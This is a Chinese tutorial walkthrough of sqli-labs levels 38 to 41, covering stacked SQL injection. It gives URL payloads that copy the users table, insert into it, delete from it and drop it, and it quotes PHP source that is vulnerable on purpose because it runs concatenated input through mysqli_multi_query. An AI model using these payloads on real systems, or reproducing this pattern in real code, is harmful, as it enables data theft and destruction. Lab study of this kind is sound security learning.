sqli-labs 通关指南:Less 38 ~ 41
Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。
Less 38#
判断注入类型#
输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。
?id=1'
把后面的信息注释掉,网页返回正常信息,说明此处存在单引号闭合的字符型注入。
?id=1'--+
堆叠注入#
此处使用 Less 1 的 payload 就可以完成注入,此处用于测试堆叠注入。所谓堆叠注入就是在原语句后加上分号,从而闭合前面的内容作为第一条 SQL 语句。然后在后面输入第二条的数据库操作语句,在条件允许可以被后端带入数据库执行。堆叠注入使用的范围非常有限,例如后端可能会限制 SQL 只执行一条语句。一旦这种漏洞存在,对数据库的破坏性是毁灭性的,因为这表示攻击者可以肆意对数据库进行操作。
例如此处使用堆叠注入新建一张表,使用 CREATE TABLE 子句,该表将复制 users 表作为一张新的表存在。这种复制可以结合 SQL 注入爆出表名来复制,也可以用社会工程学来猜测。
?id=1';CREATE TABLE WhiteMoon LIKE users;--+
网页回显正常的信息,打开数据库发现已经多了一张新的表了。
使用堆叠查询把 users 表中的数据插入新的表中,使用 INSERT INTO 子句实现。
?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+
使用堆叠查询新建的表的所有记录删掉,使用 DELETE 子句实现。
?id=1';DELETE FROM WhiteMoon;--+
?id=1';DROP TABLE WhiteMoon;--+
SQL 查询语句#
可以看到源码使用了 mysqli_multi_query() 函数,该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,该函数只执行一条 MySQL 查询。
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
//mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
Less 39#
判断注入类型#
输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。
?id=1'
把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句都是错误,说明此处存在数值型注入。
?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+
堆叠注入#
使用堆叠查询完成 Less 38 的样例。
?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+
SQL 查询语句#
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less 40#
判断注入类型#
输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。
?id=1'
把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句,测试得出此处是单引号和括号闭合的字符型盲注。
?id=1'--+
?id=1')--+
堆叠注入#
使用堆叠查询完成 Less 38 的样例。
?id=1');CREATE TABLE WhiteMoon LIKE users;--+
?id=1');INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1');DELETE FROM WhiteMoon;--+
?id=1');DROP TABLE WhiteMoon;--+
SQL 查询语句#
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
//mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
Less 41#
判断注入类型#
输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。
?id=1'
把后面的信息注释掉,网页无回显。测试以下所有语句,全部都无回显,说明此处存在数值型盲注。
?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+
堆叠注入#
使用堆叠查询完成 Less 38 的样例。
?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+
SQL 查询语句#
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)